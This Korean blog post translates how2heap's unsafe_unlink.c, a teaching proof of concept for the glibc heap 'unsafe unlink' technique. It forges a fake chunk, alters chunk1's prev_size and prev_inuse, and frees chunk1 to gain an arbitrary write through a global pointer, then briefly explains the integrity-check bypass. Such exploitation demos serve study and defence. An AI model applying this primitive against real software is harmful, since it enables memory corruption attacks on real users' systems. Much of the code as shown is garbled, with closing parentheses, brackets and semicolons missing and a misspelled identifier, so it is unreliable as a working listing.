본문 바로가기

system

[how2heap translation] unsafe_unlink.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
 
 
uint64_t *chunk0_ptr;
 
int main()
{
        printf("Welcome to unsafe unlink 2.0!\n");
        printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
        printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
        printf("가장 일반적인 시나리오는 overflow 가 될 수 있는 취약한 버퍼와 global pointer 가 있다..\n");
 
        int malloc_size = 0x80//we want to be big enough not to use fastbins
        int header_size = 2;
 
        printf("이 내용의 요점은 free()를 사용하여 global chunk0_ptr 를 손상시켜 임의의 메모리 쓰기를 달성하는 것이다.\n\n");
 
        chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
        printf("The global chunk0_ptr is at %p, pointing to %p\n"&chunk0_ptr, chunk0_ptr);
        printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
 
        printf("We create a fake chunk inside chunk0.\n");
        printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
        chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
        printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
        chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
        printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
        printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);
 
        printf("우리는 chunk0 에 overflow 가 있다고 가정하여 우리가 chunk1 의 metadata 를 자유롭게 변경할 수 있다고 가정한다.\n");
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        printf("우리는 chunk0(chunk1 에서 'prev_size' 로 저장된다)의 크기를 축소한다. 그리고 free() 는 chunk0 이 우리가 fake chunk를 배치한 곳에서 시작한다고 생각할 것이다.\n");
        printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
        chunk1_hdr[0= malloc_size;
        printf("만약 우리가 '정상적으로' chunk0 을 free 했다면 prev_size 는 0x90 일 것이다. 하지만, 여기서 prev_size : %p 이다.\n",(void*)chunk1_hdr[0]);
        printf("우리는 chunk1 의 prev_inuse 을 False로 설정하여 fake chunk를 해체된 것처럼 표시할 것이다.\n");
        chunk1_hdr[1&= ~1;
 
        printf("이제 chunk1_ptr 을 free() 하면 fake chunk와 병합을 통해 unlink가 발생하고, chunk0_ptr 을 덮어쓰게 될 것이다.\n");
        free(chunk1_ptr);
 
        printf("이 시점에서 chunk0_ptr 을 사용하여 임의의 위치를 가리키도록 chunk0_ptr 을 덮어쓸 수 있다.\n");
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3= (uint64_t) victim_string;
 
        printf("chunk0_ptr 은 이제 우리가 원하는 값을 가리키고 있고, 우리는 그것을 이용해 victim_string 을 덮어 쓸 수 있다. \n");
        printf("Original value: %s\n",victim_string);
        chunk0_ptr[0= 0x4141414142424242LL;
        printf("New Value: %s\n",victim_string);
}
 
cs

 

if ((__builtin_expect (FD->bk != P || BK->fd != P), 0))
    malloc_printerr(check_actiion, "corrupted double-linked list", P, AV);
else {
    FD->bk = BK;
    BK->fd = FD;

위와 같은 검사 과정을 우회하기 위해 FD->bk, BK->fd 의 주소를 P 와 동일하게 해야함.

 

chunk1 chunk 에서는,

-> prev_size 0x80      // chunk0 의 size 를 0x80 으로 설정하여 fake chunk 가 있는 부분을 chunk0 의 offset 으로 인식
-> size  0x90            // prev_inuse 를 해체하여 chunk0 이 해체된 것처럼 표시